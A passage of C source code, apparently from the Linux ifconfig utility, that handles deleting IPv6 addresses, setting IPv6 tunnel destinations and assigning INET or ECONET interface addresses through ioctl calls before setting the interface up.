	    } else {
		prefix_len = 0;
	    }
	    safe_strncpy(host, *spp, (sizeof host));
	    if (inet6_aftype.input(1, host, (struct sockaddr *) &sa6) < 0) {
		inet6_aftype.herror(host);
		goterr = 1;
		spp++;
		continue;
	    }
	    memcpy((char *) &ifr6.ifr6_addr, (char *) &sa6.sin6_addr,
		   sizeof(struct in6_addr));

	    fd = get_socket_for_af(AF_INET6);
	    if (fd < 0) {
		fprintf(stderr, _("No support for INET6 on this system.\n"));
		goterr = 1;
		spp++;
		continue;
	    }
	    if (ioctl(fd, SIOGIFINDEX, &ifr) < 0) {
		perror("SIOGIFINDEX");
		goterr = 1;
		spp++;
		continue;
	    }
	    ifr6.ifr6_ifindex = ifr.ifr_ifindex;
	    ifr6.ifr6_prefixlen = prefix_len;
#ifdef SIOCDIFADDR
	    if (ioctl(fd, SIOCDIFADDR, &ifr6) < 0) {
		fprintf(stderr, "SIOCDIFADDR: %s\n",
			strerror(errno));
		goterr = 1;
	    }
#else
	    fprintf(stderr, _("Address deletion not supported on this system.\n"));
#endif
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "tunnel")) {
	    if (*++spp == NULL)
		usage();
	    if ((cp = strchr(*spp, '/'))) {
		prefix_len = atol(cp + 1);
		if ((prefix_len < 0) || (prefix_len > 128))
		    usage();
		*cp = 0;
	    } else {
		prefix_len = 0;
	    }
	    safe_strncpy(host, *spp, (sizeof host));
	    if (inet6_aftype.input(1, host, (struct sockaddr *) &sa6) < 0) {
		inet6_aftype.herror(host);
		goterr = 1;
		spp++;
		continue;
	    }
	    memcpy((char *) &ifr6.ifr6_addr, (char *) &sa6.sin6_addr,
		   sizeof(struct in6_addr));

	    fd = get_socket_for_af(AF_INET6);
	    if (fd < 0) {
		fprintf(stderr, _("No support for INET6 on this system.\n"));
		goterr = 1;
		spp++;
		continue;
	    }
	    if (ioctl(fd, SIOGIFINDEX, &ifr) < 0) {
		perror("SIOGIFINDEX");
		goterr = 1;
		spp++;
		continue;
	    }
	    ifr6.ifr6_ifindex = ifr.ifr_ifindex;
	    ifr6.ifr6_prefixlen = prefix_len;

	    if (ioctl(fd, SIOCSIFDSTADDR, &ifr6) < 0) {
		fprintf(stderr, "SIOCSIFDSTADDR: %s\n",
			strerror(errno));
		goterr = 1;
	    }
	    spp++;
	    continue;
	}
#endif

	/* If the next argument is a valid hostname, assume OK. */
	safe_strncpy(host, *spp, (sizeof host));

	/* FIXME: sa is too small for INET6 addresses, inet6 should use that too, 
	   broadcast is unexpected */
	if (ap->getmask) {
	    switch (ap->getmask(host, &sa, NULL)) {
	    case -1:
		usage();
		break;
	    case 1:
		if (didnetmask)
		    usage();

		goterr = set_netmask(skfd, &ifr, &sa);
		didnetmask++;
		break;
	    }
	}
	if (ap->input(0, host, &sa) < 0) {
	    ap->herror(host);
	    usage();
	}
	memcpy((char *) &ifr.ifr_addr, (char *) &sa, sizeof(struct sockaddr));
	{
	    int r = 0;		/* to shut gcc up */
	    switch (ap->af) {
#if HAVE_AFINET
	    case AF_INET:
		fd = get_socket_for_af(AF_INET);
		if (fd < 0) {
		    fprintf(stderr, _("No support for INET on this system.\n"));
		    exit(1);
		}
		r = ioctl(fd, SIOCSIFADDR, &ifr);
		break;
#endif
#if HAVE_AFECONET
	    case AF_ECONET:
		fd = get_socket_for_af(AF_ECONET);
		if (fd < 0) {
		    fprintf(stderr, _("No support for ECONET on this system.\n"));
		    exit(1);
		}
		r = ioctl(fd, SIOCSIFADDR, &ifr);
		break;
#endif
	    default:
		fprintf(stderr,
		_("Don't know how to set addresses for family %d.\n"), ap->af);
		exit(1);
	    }
	    if (r < 0) {
		perror("SIOCSIFADDR");
		goterr = 1;
	    }
	}
       /*
        * Don't do the set_flag() if the address is an alias with a - at the
        * end, since it's deleted already! - Roman
        *
        * Should really use regex.h here, not sure though how well it'll go
        * with the cross-platform support etc. 
        */
        {
            char *ptr;
            short int found_colon = 0;
            for (ptr = ifr.ifr_name; *ptr; ptr++ )
                if (*ptr == ':') found_colon++;
                
            if (!(found_colon && *(ptr - 1) == '-'))
                goterr |= set_flag(ifr.ifr_name, (IFF_UP | IFF_RUNNING));
        }

	spp++;
    }

    return (goterr);
}
